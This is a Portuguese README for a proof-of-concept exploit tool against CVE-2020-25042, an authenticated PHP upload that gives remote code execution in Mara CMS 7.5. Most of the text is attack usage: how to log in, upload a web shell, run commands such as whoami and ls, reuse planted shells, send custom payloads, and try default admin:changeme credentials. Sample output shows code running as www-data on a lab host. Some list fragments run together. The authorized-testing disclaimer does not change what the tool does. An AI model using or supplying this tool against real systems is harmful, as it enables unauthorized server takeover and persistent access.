
PoC para CVE-2020-25042: upload automatizado de PHP autenticado para RCE no Mara CMS 7.5, com manipulação de hash de login, reutilização de shell, suporte a payload personalizado e saída CLI limpa.
Prova de conceito para CVE-2020-25042, um problema de upload arbitrário de arquivos autenticado no Mara CMS 7.5 que pode levar à execução remota de código.
O script faz login com uma conta válida de administrador/gerente do Mara CMS, faz upload de um payload PHP através de codebase/handler.php e executa comandos através do arquivo enviado.
Ele também reutiliza um shell existente quando possível, para que você não crie um novo arquivo PHP a cada execução.
shash.setsalt.codebase/dir.php?type=filenew.codebase/handler.php.--cmd através do shell enviado.Python 3.8+
pip install -r requirements.txt
Pacotes Python necessários:
requests
urllib3
Valores entre colchetes angulares são espaços reservados. Substitua-os pelos seus próprios valores e não inclua os caracteres < ou >.
python3 cve_2020_25042.py \
--url <MARA_CMS_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--cmd whoami
<MARA_CMS_URL> # Target Mara CMS base URL. Example: http://target/cms
<USERNAME> # Valid Mara CMS admin/manager username.
<PASSWORD> # Valid Mara CMS admin/manager password.
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
Exemplo de saída:
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami
[+] Command output
MARA_CVE_2020_25042_OK
www-data
Por padrão, o script usa um nome de shell estável:
mara-poc.php
Na próxima execução, ele verifica:
http://target/cms/img/mara-poc.php
Se o shell responder com o marcador esperado, o script pula o login e o upload:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
Para reutilizar um shell criado com um nome aleatório anterior:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
Você também pode passar o caminho exposto do shell diretamente:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
Envie o payload sem executar um comando:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
--page <PAGE>
Página CMS existente usada para iniciar o login e extrair shash. Padrão: lorem.php
--shell-name <NAME>
Nome do arquivo PHP para enviar ou reutilizar. Padrão: mara-poc.php
--shell-url-path <PATH_OR_URL>
Caminho ou URL explícito do shell para reutilizar.
Exemplo: /cms/img/mara-poc.php
--payload-file <FILE>
Envie um payload PHP personalizado em vez do shell padrão ?cmd=.
--destdir <DIR>
Valor raw destdir enviado no formulário de upload. O padrão faz o Mara CMS usar img/.
--force-upload
Sempre faça login e upload, mesmo se um shell reutilizável já existir.
--upload-only
Faça upload do payload, mas não execute --cmd.
--only-final
Oculte logs de progresso e exiba apenas a saída do comando.
--no-color
Desative as cores ANSI.
--debug
Exiba URLs de requisição e trechos curtos de resposta do handler.
admin:changeme em instalações de teste não modificadas.MARA_CVE_2020_25042_OK antes da saída do comando.img/.--force-upload apenas quando precisar sobrescrever ou recriar o payload.Esta PoC é destinada a testes de segurança autorizados, ambientes de laboratório e verificação de vulnerabilidades. Não a utilize contra sistemas sem permissão explícita.